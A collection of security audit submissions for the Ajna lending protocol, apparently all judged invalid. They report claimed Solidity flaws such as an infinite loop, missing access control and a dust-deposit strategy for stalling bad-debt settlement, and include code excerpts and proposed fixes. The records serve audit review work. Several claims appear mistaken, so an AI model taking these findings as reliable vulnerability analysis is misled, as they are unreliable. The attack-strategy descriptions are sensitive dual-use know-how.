Impact\nThis can lead to reapproval of addresses that already have allowances set to true.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/LPActions.sol#L156-L171\n## Tool used\n\nManual Review\n\n## Recommendation\nModify the code to check the current value of allowances_[transferors_[i]] before setting it to true. If it's already true, you may want to revert the transaction or handle it as shown below\n\n`function approveLPTransferors(\n mapping(address => bool) storage allowances_,\n address[] calldata transferors_\n) external {\n uint256 transferorsLength = transferors_.length;\n for (uint256 i = 0; i < transferorsLength; i++) {\n if (!allowances_[transferors_[i]]) {\n allowances_[transferors_[i]] = true;\n }\n }\n emit ApproveLPTransferors(\n msg.sender,\n transferors_\n );\n}`\n\nIn the code above it only sets allowances_[transferors_[i]] to true if it's currently false. This prevents reapproval of addresses that already have allowances set to true.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/033.md"}} +{"title":"prefixSum turn into an infinite loop when the check condition is true","severity":"info","body":"Rhythmic Crepe Boa\n\nhigh\n\n# prefixSum turn into an infinite loop when the check condition is true\n## Summary\nWithin the `prefixSum` function in the Deposits library, there exists a vulnerability leading to a potential infinite loop. Specifically, the issue arises when the condition `curIndex > SIZE` becomes true.\n## Vulnerability Detail\n- function : **prefixSum()**\n- source : `src/libraries/internal/Deposits.sol : Deposits ` library
\n The issue lies in the following code segment:\n\n```solidity\nwhile (j >= indexLSB) {\n curIndex = index + j;\n if (curIndex > SIZE) {\n // Skip the rest of the loop body for this iteration\n continue;\n }\n\n // Code here will be skipped for curIndex > SIZE\n\n // Update loop variables and check the loop condition for the next iteration\n j = j >> 1;\n}\n```\n\n- The variable `indexLSB` is catched outside the loop so it's remains constant, while `j` is shifted right in each iteration `(j = j >> 1;)`.\n```solidity\n function prefixSum(\n DepositsState storage deposits_,\n uint256 sumIndex_\n ) internal view returns (uint256 sum_) {\n // price buckets are indexed starting at 0, Fenwick bit logic is more elegant starting at 1\n ++sumIndex_;\n\n uint256 runningScale = Maths.WAD; // Tracks scale(index_) as we move down Fenwick tree\n uint256 j = SIZE; // bit that iterates from MSB to LSB\n uint256 index = 0; // build up sumIndex bit by bit\n\n uint256 indexLSB = lsb(sumIndex_);\n uint256 curIndex;\n\n while (j >= indexLSB) {\n curIndex = index + j;\n // Skip considering indices outside bounds of Fenwick tree\n if (curIndex > SIZE) continue;\n //.......\n //.......\n\n // shift j to consider next less signficant bit\n j = j >> 1;\n }\n }\n```\n\n- In this segment, if `curIndex` becomes greater than `SIZE`, the loop variables `index` and `j` remain constant. The right shift operation on `j` (`j = j >> 1;`) intended to reach the termination condition `(j >= indexLSB)` will never be executed. Consequently, `curIndex` will remain the same in each iteration, always exceeding the `SIZE` limit. As a result, the `continue` statement will be perpetually triggered, causing the loop to run endlessly. This scenario leads to an infinite loop, consuming all available gas without making any progress toward the termination condition `(j >= indexLSB)`. This situation creates a potential denial-of-service scenario and causes users to lose funds due to excessive gas fees.\n## Impact\n- the `accrueInterest` function,will always revert in this case. which is called in almost every user action from the protocol.wich break the system.\n- Significant amount of gas fee will be payed by the caller.\n## Code Snippet\n- the [prefixSum](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/internal/Deposits.sol#L239C4-L239C9) function :\n\n```solidity\n function prefixSum(\n DepositsState storage deposits_,\n uint256 sumIndex_\n ) internal view returns (uint256 sum_) {\n // price buckets are indexed starting at 0, Fenwick bit logic is more elegant starting at 1\n ++sumIndex_;\n\n uint256 runningScale = Maths.WAD; // Tracks scale(index_) as we move down Fenwick tree\n uint256 j = SIZE; // bit that iterates from MSB to LSB\n uint256 index = 0; // build up sumIndex bit by bit\n\n // Used to terminate loop. We don't need to consider final 0 bits of sumIndex_\n uint256 indexLSB = lsb(sumIndex_);\n uint256 curIndex;\n\n while (j >= indexLSB) {\n curIndex = index + j;\n\n // Skip considering indices outside bounds of Fenwick tree\n if (curIndex > SIZE) continue;\n\n // We are considering whether to include node index + j in the sum or not. Either way, we need to scaling[index + j],\n // either to increment sum_ or to accumulate in runningScale\n uint256 scaled = deposits_.scaling[curIndex];\n\n if (sumIndex_ & j != 0) {\n // node index + j of tree is included in sum\n uint256 value = deposits_.values[curIndex];\n\n // Accumulate in sum_, recall that scaled==0 means that the scale factor is actually 1\n sum_ += scaled != 0 ? Math.mulDiv(\n runningScale * scaled,\n value,\n 1e36\n ) : Maths.wmul(runningScale, value);\n\n // Build up index bit by bit\n index = curIndex;\n\n // terminate if we've already matched sumIndex_\n if (index == sumIndex_) break;\n } else {\n // node is not included in sum, but its scale needs to be included for subsequent sums\n if (scaled != 0) runningScale = Maths.floorWmul(runningScale, scaled);\n }\n // shift j to consider next less signficant bit\n j = j >> 1;\n }\n }\n```\n\n- [accrueIntrest](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/PoolCommons.sol#L220) function one of the affected methods in the protocol :\n```solidity\nfunction accrueInterest(\n EmaState storage emaParams_,\n DepositsState storage deposits_,\n PoolState calldata poolState_,\n uint256 thresholdPrice_,\n uint256 elapsed_\n ) external returns (uint256 newInflator_, uint256 newInterest_) {\n // Scale the borrower inflator to update amount of interest owed by borrowers\n uint256 pendingFactor = PRBMathUD60x18.exp((poolState_.rate * elapsed_) / 365 days);\n\n // calculate the highest threshold price\n newInflator_ = Maths.wmul(poolState_.inflator, pendingFactor);\n uint256 htp = Maths.wmul(thresholdPrice_, poolState_.inflator);\n\n uint256 accrualIndex;\n if (htp > MAX_PRICE) accrualIndex = 1; // if HTP is over the highest price bucket then no buckets earn interest\n else if (htp < MIN_PRICE) accrualIndex = MAX_FENWICK_INDEX; // if HTP is under the lowest price bucket then all buckets earn interest\n else accrualIndex = _indexOf(htp); // else HTP bucket earn interest\n\n uint256 lupIndex = Deposits.findIndexOfSum(deposits_, poolState_.debt);\n // accrual price is less of lup and htp, and prices decrease as index increases\n if (lupIndex > accrualIndex) accrualIndex = lupIndex;\n uint256 interestEarningDeposit = Deposits.prefixSum(deposits_, accrualIndex);\n\n if (interestEarningDeposit != 0) {\n newInterest_ = Maths.wmul(\n _lenderInterestMargin(_utilization(emaParams_.debtEma, emaParams_.depositEma)),\n Maths.wmul(pendingFactor - Maths.WAD, poolState_.debt)\n );\n\n // lender factor computation, capped at 10x the interest factor for borrowers\n uint256 lenderFactor = Maths.min(\n Maths.floorWdiv(newInterest_, interestEarningDeposit),\n Maths.wmul(pendingFactor - Maths.WAD, Maths.wad(10))\n ) + Maths.WAD;\n\n // Scale the fenwick tree to update amount of debt owed to lenders\n Deposits.mult(deposits_, accrualIndex, lenderFactor);\n }\n }\n```\n## Tool used\n\nManual Review\n\n## Recommendation\n- update `J` before you skip in case `curIndex > SIZE`.\n\n```sol\n function prefixSum(\n DepositsState storage deposits_,\n uint256 sumIndex_\n ) internal view returns (uint256 sum_) {\n // price buckets are indexed starting at 0, Fenwick bit logic is more elegant starting at 1\n ++sumIndex_;\n\n uint256 runningScale = Maths.WAD; // Tracks scale(index_) as we move down Fenwick tree\n uint256 j = SIZE; // bit that iterates from MSB to LSB\n uint256 index = 0; // build up sumIndex bit by bit\n\n // Used to terminate loop. We don't need to consider final 0 bits of sumIndex_\n uint256 indexLSB = lsb(sumIndex_);\n uint256 curIndex;\n while (j >= indexLSB) {\n curIndex = index + j;\n\n // Skip considering indices outside bounds of Fenwick tree\n if (curIndex > SIZE) {\n j = j >> 1;\n continue;}\n\n // We are considering whether to include node index + j in the sum or not. Either way, we need to scaling[index + j],\n // either to increment sum_ or to accumulate in runningScale\n uint256 scaled = deposits_.scaling[curIndex];\n\n if (sumIndex_ & j != 0) {\n // node index + j of tree is included in sum\n uint256 value = deposits_.values[curIndex];\n\n // Accumulate in sum_, recall that scaled==0 means that the scale factor is actually 1\n sum_ += scaled != 0 ? Math.mulDiv(\n runningScale * scaled,\n value,\n 1e36\n ) : Maths.wmul(runningScale, value);\n\n // Build up index bit by bit\n index = curIndex;\n\n // terminate if we've already matched sumIndex_\n if (index == sumIndex_) break;\n } else {\n // node is not included in sum, but its scale needs to be included for subsequent sums\n if (scaled != 0) runningScale = Maths.floorWmul(runningScale, scaled);\n }\n // shift j to consider next less signficant bit\n j = j >> 1;\n }\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/032.md"}} +{"title":"Function `_indexOf` will cause a settlement to revert if `auctionPrice > MAX_PRICE`","severity":"info","body":"Real Pastel Starfish\n\nhigh\n\n# Function `_indexOf` will cause a settlement to revert if `auctionPrice > MAX_PRICE`\n## Summary\n\nIn ERC721 pools, when an auction is settled while `auctionPrice > MAX_PRICE` and borrower has some fraction of collateral (e.g. `0.5e18`) the settlement will always revert until enough time has passed so `auctionPrice` lowers below `MAX_PRICE`, thus causing a temporary DoS. \n\n## Vulnerability Detail\n\nIn ERC721 pools, when a settlement occurs and the borrower still have some fraction of collateral, that fraction is allocated in the bucket with a price closest to `auctionPrice` and the borrower is proportionally compensated with LPB in that bucket.\n\nIn order to calculate the index of the bucket closest in price to `auctionPrice`, the `_indexOf` function is called. The first line of that function is outlined below:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/helpers/PoolHelper.sol#L78\n```solidity\nif (price_ < MIN_PRICE || price_ > MAX_PRICE) revert BucketPriceOutOfBounds();\n```\n\nThe `_indexOf` function will revert if `price_` (provided as an argument) is below `MIN_PRICE` or above `MAX_PRICE`. This function is called from `_settleAuction`, here is a snippet of that:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/SettlerActions.sol#L234\n\n```solidity\nfunction _settleAuction(\n AuctionsState storage auctions_,\n mapping(uint256 => Bucket) storage buckets_,\n DepositsState storage deposits_,\n address borrowerAddress_,\n uint256 borrowerCollateral_,\n uint256 poolType_\n) internal returns (uint256 remainingCollateral_, uint256 compensatedCollateral_) {\n\n // ...\n\n uint256 auctionPrice = _auctionPrice(\n auctions_.liquidations[borrowerAddress_].referencePrice,\n auctions_.liquidations[borrowerAddress_].kickTime\n );\n\n // determine the bucket index to compensate fractional collateral\n>>> bucketIndex = auctionPrice > MIN_PRICE ? _indexOf(auctionPrice) : MAX_FENWICK_INDEX;\n\n // ...\n}\n```\n\nThe `_settleAuction` function first calculates the `auctionPrice` and then it gets the index of the bucket with a price closest to `bucketPrice`. If `auctionPrice` results to be bigger than `MAX_PRICE`, then the `_indexOf` function will revert and the entire settlement will fail. \n\nIn certain types of pools where one asset has an extremely low market price and the other is valued really high, the resulting prices at an auction can be so high that is not rare to see an `auctionPrice > MAX_PRICE`.\n\nThe `auctionPrice` variable is computed from `referencePrice` and it goes lower through time until 72 hours have passed. Also, `referencePrice` can be much higher than `MAX_PRICE`, as outline in `_kick`:\n\n```solidity\nvars.referencePrice = Maths.min(Maths.max(vars.htp, vars.neutralPrice), MAX_INFLATED_PRICE);\n```\n\nThe value of `MAX_INFLATED_PRICE` is exactly `50 * MAX_PRICE` so a `referencePrice` bigger than `MAX_PRICE` is totally possible. \n\nIn auctions where `referencePrice` is bigger than `MAX_PRICE` and the auction is settled in a low time frame, `auctionPrice` will be also bigger than `MAX_PRICE` and that will cause the entire transaction to revert. \n\n## Impact\n\nWhen the above conditions are met, the auction won't be able to settle until `auctionPrice` lowers below `MAX_PRICE`.\n\nIn ERC721 pools with a high difference in assets valuation, there is no low-probability prerequisites and the impact will be a violation of the system design, as well as the potential losses for the kicker of that auction, so setting severity to be high\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/SettlerActions.sol#L234\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIt's recommended to change the affected line of `_settleAuction` in the following way:\n\n```diff\n- bucketIndex = auctionPrice > MIN_PRICE ? _indexOf(auctionPrice) : MAX_FENWICK_INDEX;\n+ if(auctionPrice < MIN_PRICE){\n+ bucketIndex = MAX_FENWICK_INDEX;\n+ } else if (auctionPrice > MAX_PRICE) {\n+ bucketIndex = 1;\n+ } else {\n+ bucketIndex = _indexOf(auctionPrice);\n+ }\n```","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/030.md"}} +{"title":"Unauthorized Borrower Access in drawDebt Function","severity":"info","body":"Beautiful Cyan Lynx\n\nhigh\n\n# Unauthorized Borrower Access in drawDebt Function\n## Summary\nThe \"drawDebt\" function in the smart contract lacks proper access control, allowing unauthorized users to invoke the function without verification of borrower legitimacy. This vulnerability poses a significant security risk by enabling unauthorized access to debt drawing.\n\n## Vulnerability Detail\nThere is no explicit check to verify whether borrowerAddress_ is a authorized borrower. The function accepts borrowerAddress_ as a parameter and proceeds to execute various actions related to drawing debt and transferring collateral and borrowed tokens. \n\n function drawDebt(\n address borrowerAddress_,\n uint256 amountToBorrow_,\n uint256 limitIndex_,\n uint256 collateralToPledge_\n ) external nonReentrant {\n PoolState memory poolState = _accruePoolInterest();\n\n // ensure the borrower is not charged for additional debt that they did not receive\n amountToBorrow_ = _roundToScale(amountToBorrow_, poolState.quoteTokenScale);\n // ensure the borrower is not credited with a fractional amount of collateral smaller than the token scale\n collateralToPledge_ = _roundToScale(collateralToPledge_, _getArgUint256(COLLATERAL_SCALE));\n\n DrawDebtResult memory result = BorrowerActions.drawDebt(\n auctions,\n deposits,\n loans,\n poolState,\n _availableQuoteToken(),\n borrowerAddress_,\n amountToBorrow_,\n limitIndex_,\n collateralToPledge_\n );\n\n emit DrawDebt(borrowerAddress_, amountToBorrow_, collateralToPledge_, result.newLup);\n## Impact\nWithout a proper access control mechanism, any external caller can potentially invoke this function with any borrowerAddress_, including unauthorized or non-existent addresses.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/ERC20Pool.sol#L130-L155\n\n \n## Tool used\n\nManual Review\n\n## Recommendation\nImplement an access control mechanism to verify the legitimacy of the borrower before proceeding with any actions. This can be by maintaining a list of authorized borrowers and checking whether borrowerAddress_ is on that list or use modifiers or function-specific checks to ensure that only authorized addresses can execute this function. For example, you could create a modifier like onlyAuthorizedBorrower and apply it to this function.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/028.md"}} +{"title":"No Access Control In IPool transferFrom function","severity":"info","body":"Beautiful Cyan Lynx\n\nhigh\n\n# No Access Control In IPool transferFrom function\n## Summary\nThe transferFrom function does not check whether the address of the owner is from msg.sender.\n## Vulnerability Detail\nLack of ownership verification allows anyone to call the transferFrom function and transfer tokens from any account, not just their own. This means that an attacker can transfer tokens from other users' accounts without their consent.\n\ninterface IERC20Token {\n function balanceOf(address account) external view returns (uint256);\n function burn(uint256 amount) external;\n function decimals() external view returns (uint8);\n function transfer(address to, uint256 amount) external returns (bool);\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n## Impact\nWithout checking whether the msg.sender is the actual owner of the tokens, anyone can call the transferFrom function and transfer tokens from someone else's account.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/interfaces/pool/IPool.sol#L43-L53\n\n## Tool used\n\nManual Review\n\n## Recommendation\nInclude proper checks in the transferFrom function to verify that msg.sender is the owner of the tokens they are trying to transfer.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/027.md"}} +{"title":"Flawed DWATP calculation may lead to inaccurate interest rate due to not accounting for changing collateral","severity":"info","body":"Real Ivory Piranha\n\nmedium\n\n# Flawed DWATP calculation may lead to inaccurate interest rate due to not accounting for changing collateral\n## Summary\n\nAdding / removing collateral via the `addCollateral` and `removeCollateral` functions does not update the `t0Debt2ToCollateral` ratio, which may lead to inaccurate calculations of the Target Utilization and interest rates.\n\n## Vulnerability Detail\n\nA pool's DWATP is the average threshold price of all loans in the pool, weighted by the debt of the loan. This value is used to calculate a pool's target utilization, which in turn affects the pool's interest rate. To ease the calculation of the DWATP, the code tracks in state the [`interestState.t0Debt2ToCollateral` variable](https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/base/Pool.sol#L102). Which, [according to the documentation](https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/base/Pool.sol#L641), is to be updated accordingly whenever a borrower's debt or collateral changes.\n\nThe function to execute the update is [`Pool::_updateT0Debt2ToCollateral`](https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/base/Pool.sol#L649). For example, it's called whenever debt is drawn or repaid (see the [`ERC20Pool::repayDebt`](https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/ERC20Pool.sol#L240) and [`ERC20Pool::drawDebt`](https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/ERC20Pool.sol#L164) functions), during liquidations (see [`Pool::kick`](https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/base/Pool.sol#L304) ) and settling auctions (see [`Pool::_updatePostTakeState`](https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/base/Pool.sol#L600)). Interestingly, all calls to `_updateT0Debt2ToCollateral` (which [update the `t0Debt2ToCollateral`](https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/base/Pool.sol#L663) state variable) are followed by the appropriate call to `Pool::_updateInterestState`, which [reads from the updated `t0Debt2ToCollateral`](https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/libraries/external/PoolCommons.sol#L97) state variable.\n\nHowever, while the `addCollateral` and `removeCollateral` functions update a borrower's collateral, they _do not_ update the `t0Debt2ToCollateral` variable. That is, they never call the `Pool::_updateT0Debt2ToCollateral` with the new collateral values. But still update the interest rate with calls to `Pool::_updateInterestState`, which will use an outdated `t0Debt2ToCollateral` value.\n\n## Impact\n\nAs a result of this flaw, collateral changes that occur via the `addCollateral` function ([from `ERC20Pool`](https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/ERC20Pool.sol#L281) and [`ERC721Pool`](https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/ERC721Pool.sol#L288)) (as well as the corresponding `removeCollateral` functions) may not be correctly accounted to calculate the DWATP, which may lead to miscalculating the real interest rate of the pool.\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nTo abide to the documentation of the `_updateT0Debt2ToCollateral` function and avoid miscalculations of the DWATP, make sure that all functions that change a borrower's collateral correctly update the `t0Debt2ToCollateral` variable. This includes the `addCollateral` and `removeCollateral` functions. You can do this by calling the `Pool::_updateT0Debt2ToCollateral` function before updating the interest rate with `Pool::_updateInterestState`.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//invalid/024.md"}} +{"title":"Dust Deposit Exploit Allows HPB Depositors to Stall Debt Settlement and Safeguard Principal","severity":"info","body":"Suave Canvas Skunk\n\nhigh\n\n# Dust Deposit Exploit Allows HPB Depositors to Stall Debt Settlement and Safeguard Principal\n## Summary\n\nHigh price bucket depositor who faces bad debt settlement can add multiple dust quote token deposits to many higher price buckets and stale settlement.\n\n## Vulnerability Detail\n\nHPB depositor have incentives to and actually can defend themselves from using their deposits in bad debt write offs by doing multiple dust quote token deposits in vast number of higher price buckets (up to and above current market price). This will stale bad debt settlement: now logic only requires amount to be positive, SettlerActions.sol#L334-L356, and it is possible to add quote token dust, Pool.sol#L146-L166, LenderActions.sol#L148-L157.\n\nThe point in doing so is that, having the deposit frozen is better then participate in a write off, which is a direct loss, as:\n\n1) other unaware depositors might come in and free the HPB depositor from liquidation debt participation, possibly taking bad debt damage,\n\n2) the HPB depositor can still bucketTake() as there is no _revertIfAuctionDebtLocked() check. As it will generate collateral instead of quote funds, it might be then retrieved by removeCollateral().\n\nWhen there is low amount of debt in liquidation, removing this dust deposits is possible, but economically not feasible: despite high price used gas cost far exceeds the profit due to quote amount being too low.\n\nWhen there is substantial amount of debt in liquidation, direct removal via removeQuoteToken() will be blocked by _revertIfAuctionDebtLocked() control, while `settle() -> settlePoolDebt()` calls will be prohibitively expensive (will go trough all the dust populated buckets) and fruitless (only dust amount will be settled), while the defending HPB depositor can simultaneously add those dust deposits back.\n\nEconomically the key point here is that incentives of the defending HPB depositor are more substantial (they will suffer principal loss on bad debt settlement) than the incentives of agents who call `settle() -> settlePoolDebt()` (they have their lower bucket deposits temporary frozen and want to free them with settling bad debt with HPB deposit).\n\n## Impact\n\nHPB depositors can effectively avoid deposit write off for bad debt settlement. I.e. in some situations when HPB depositor is a whale closely monitoring the pool and knowing that his funds are about to be used to cover a substantial amount of bad debt, the cumulative gas costs of the described strategy will be far lower than the gain of having principal funds recovered over time via `takeBucket() -> removeCollateral()`.\n\nThis will cause bad debt to pile up and stale greater share of the pool. The HPB depositor will eventually profit off from other depositors, who do not actively monitor pool state and over time participate in the bad debt settlements by placing deposits among the dust ones. This will allow the HPB depositor to obtain stable yield all this time, but off load a part of the corresponding risks.\n\nAs there is no low-probability prerequisites and the impact is a violation of system design allowing one group of users to profit off another, setting the severity to be high.\n\n## Code Snippet\n\nThere is no dust control in addQuoteToken():\n\n[https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/base/Pool.sol#L150-L182](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/base/Pool.sol#L150-L182)\n```solidity\n function addQuoteToken(\n uint256 amount_,\n uint256 index_,\n uint256 expiry_,\n bool revertIfBelowLup_\n ) external override nonReentrant returns (uint256 bucketLP_) {\n _revertAfterExpiry(expiry_);\n\n _revertIfAuctionClearable(auctions, loans);\n\n PoolState memory poolState = _accruePoolInterest();\n\n // round to token precision\n amount_ = _roundToScale(amount_, poolState.quoteTokenScale);\n\n uint256 newLup;\n (bucketLP_, newLup) = LenderActions.addQuoteToken(\n buckets,\n deposits,\n poolState,\n AddQuoteParams({\n amount: amount_,\n index: index_,\n revertIfBelowLup: revertIfBelowLup_\n })\n );\n\n // update pool interest rate state\n _updateInterestState(poolState, newLup);\n\n // move quote token amount from lender to pool\n _transferQuoteTokenFrom(msg.sender, amount_);\n }\n```\n\n[https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/LenderActions.sol#L149-L158](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/LenderActions.sol#L149-L158)\n\n```solidity\n function addQuoteToken(\n mapping(uint256 => Bucket) storage buckets_,\n DepositsState storage deposits_,\n PoolState calldata poolState_,\n AddQuoteParams calldata params_\n ) external returns (uint256 bucketLP_, uint256 lup_) {\n // revert if no amount to be added\n if (params_.amount == 0) revert InvalidAmount();\n // revert if adding to an invalid index\n if (params_.index == 0 || params_.index > MAX_FENWICK_INDEX) revert InvalidIndex();\n```\n\n\n\n\nPutting dust in lots of higher buckets will freeze the settlement as there no control over amount to operate with on every iteration, while `bucketDepth_` is limited and there is a block gas limit:\n\n[https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/SettlerActions.sol#L333-L355](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/SettlerActions.sol#L333-L355)\n\n```solidity\n function _settlePoolDebtWithDeposit(\n mapping(uint256 => Bucket) storage buckets_,\n DepositsState storage deposits_,\n SettleParams memory params_,\n Borrower memory borrower_,\n uint256 inflator_\n ) internal returns (uint256 remainingt0Debt_, uint256 remainingCollateral_, uint256 bucketDepth_) {\n remainingt0Debt_ = borrower_.t0Debt;\n remainingCollateral_ = borrower_.collateral;\n bucketDepth_ = params_.bucketDepth;\n\n while (bucketDepth_ != 0 && remainingt0Debt_ != 0 && remainingCollateral_ != 0) {\n SettleLocalVars memory vars;\n\n (vars.index, , vars.scale) = Deposits.findIndexAndSumOfSum(deposits_, 1);\n vars.hpbUnscaledDeposit = Deposits.unscaledValueAt(deposits_, vars.index);\n vars.unscaledDeposit = vars.hpbUnscaledDeposit;\n vars.price = _priceAt(vars.index);\n\n if (vars.unscaledDeposit != 0) {\n vars.debt = Maths.wmul(remainingt0Debt_, inflator_); // current debt to be settled\n vars.maxSettleableDebt = Maths.floorWmul(remainingCollateral_, vars.price); // max debt that can be settled with existing collateral\n vars.scaledDeposit = Maths.wmul(vars.scale, vars.unscaledDeposit);\n```\n\n\nThe owner of such deposit can still use it for bucketTake() as there is no _revertIfAuctionDebtLocked() check there (which is ok by itself as the operation reduces the liquidation debt):\n\n[https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/TakerActions.sol#L135-L166](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/TakerActions.sol#L135-L166)\n\n```solidity\n function bucketTake(\n AuctionsState storage auctions_,\n mapping(uint256 => Bucket) storage buckets_,\n DepositsState storage deposits_,\n LoansState storage loans_,\n PoolState memory poolState_,\n address borrowerAddress_,\n bool depositTake_,\n uint256 index_,\n uint256 collateralScale_\n ) external returns (TakeResult memory result_) {\n Borrower memory borrower = loans_.borrowers[borrowerAddress_];\n // revert if borrower's collateral is 0\n if (borrower.collateral == 0) revert InsufficientCollateral();\n\n result_.debtPreAction = borrower.t0Debt;\n result_.collateralPreAction = borrower.collateral;\n\n // bucket take auction\n TakeLocalVars memory vars = _takeBucket(\n auctions_,\n buckets_,\n deposits_,\n borrower,\n BucketTakeParams({\n borrower: borrowerAddress_,\n inflator: poolState_.inflator,\n depositTake: depositTake_,\n index: index_,\n collateralScale: collateralScale_\n })\n );\n```\n\n[https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/TakerActions.sol#L416-L468](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/TakerActions.sol#L416-L468)\n\n```solidity\n function _takeBucket(\n AuctionsState storage auctions_,\n mapping(uint256 => Bucket) storage buckets_,\n DepositsState storage deposits_,\n Borrower memory borrower_,\n BucketTakeParams memory params_\n ) internal returns (TakeLocalVars memory vars_) {\n Liquidation storage liquidation = auctions_.liquidations[params_.borrower];\n\n // Auction may not be taken in the same block it was kicked\n if (liquidation.kickTime == block.timestamp) revert AuctionNotTakeable();\n\n vars_= _prepareTake(\n liquidation,\n borrower_.t0Debt,\n borrower_.collateral,\n params_.inflator\n );\n\n vars_.unscaledDeposit = Deposits.unscaledValueAt(deposits_, params_.index);\n\n // revert if no quote tokens in arbed bucket\n if (vars_.unscaledDeposit == 0) revert InsufficientLiquidity();\n\n vars_.bucketPrice = _priceAt(params_.index);\n\n // cannot arb with a price lower than the auction price\n if (vars_.auctionPrice > vars_.bucketPrice) revert AuctionPriceGtBucketPrice();\n \n // if deposit take then price to use when calculating take is bucket price\n if (params_.depositTake) vars_.auctionPrice = vars_.bucketPrice;\n\n vars_.bucketScale = Deposits.scale(deposits_, params_.index);\n\n vars_ = _calculateTakeFlowsAndBondChange(\n borrower_.collateral,\n params_.inflator,\n params_.collateralScale,\n vars_\n );\n\n // revert if bucket deposit cannot cover at least one unit of collateral\n if (vars_.collateralAmount == 0) revert InsufficientLiquidity();\n\n _rewardBucketTake(\n auctions_,\n deposits_,\n buckets_,\n liquidation,\n params_.index,\n params_.depositTake,\n vars_\n );\n```\n\n\n\nDuring _rewardBucketTake() the principal quote funds are effectively exchanged with the collateral:\n\n[https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/TakerActions.sol#L607-L668](https://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/TakerActions.sol#L607-L668)\n\n```solidity\n function _rewardBucketTake(\n AuctionsState storage auctions_,\n DepositsState storage deposits_,\n mapping(uint256 => Bucket) storage buckets_,\n Liquidation storage liquidation_,\n uint256 bucketIndex_,\n bool depositTake_,\n TakeLocalVars memory vars\n ) internal {\n Bucket storage bucket = buckets_[bucketIndex_];\n\n uint256 bankruptcyTime = bucket.bankruptcyTime;\n uint256 scaledDeposit = Maths.wmul(vars.unscaledDeposit, vars.bucketScale);\n uint256 totalLPReward;\n uint256 takerLPReward;\n uint256 kickerLPReward;\n\n // if arb take - taker is awarded collateral * (bucket price - auction price) worth (in quote token terms) units of LPB in the bucket\n if (!depositTake_) {\n takerLPReward = Buckets.quoteTokensToLP(\n bucket.collateral,\n bucket.lps,\n scaledDeposit,\n Maths.wmul(vars.collateralAmount, vars.bucketPrice - vars.auctionPrice),\n vars.bucketPrice,\n Math.Rounding.Down\n );\n totalLPReward = takerLPReward;\n\n Buckets.addLenderLP(bucket, bankruptcyTime, msg.sender, takerLPReward);\n }\n\n // the bondholder/kicker is awarded bond change worth of LPB in the bucket\n if (vars.isRewarded) {\n kickerLPReward = Buckets.quoteTokensToLP(\n bucket.collateral,\n bucket.lps,\n 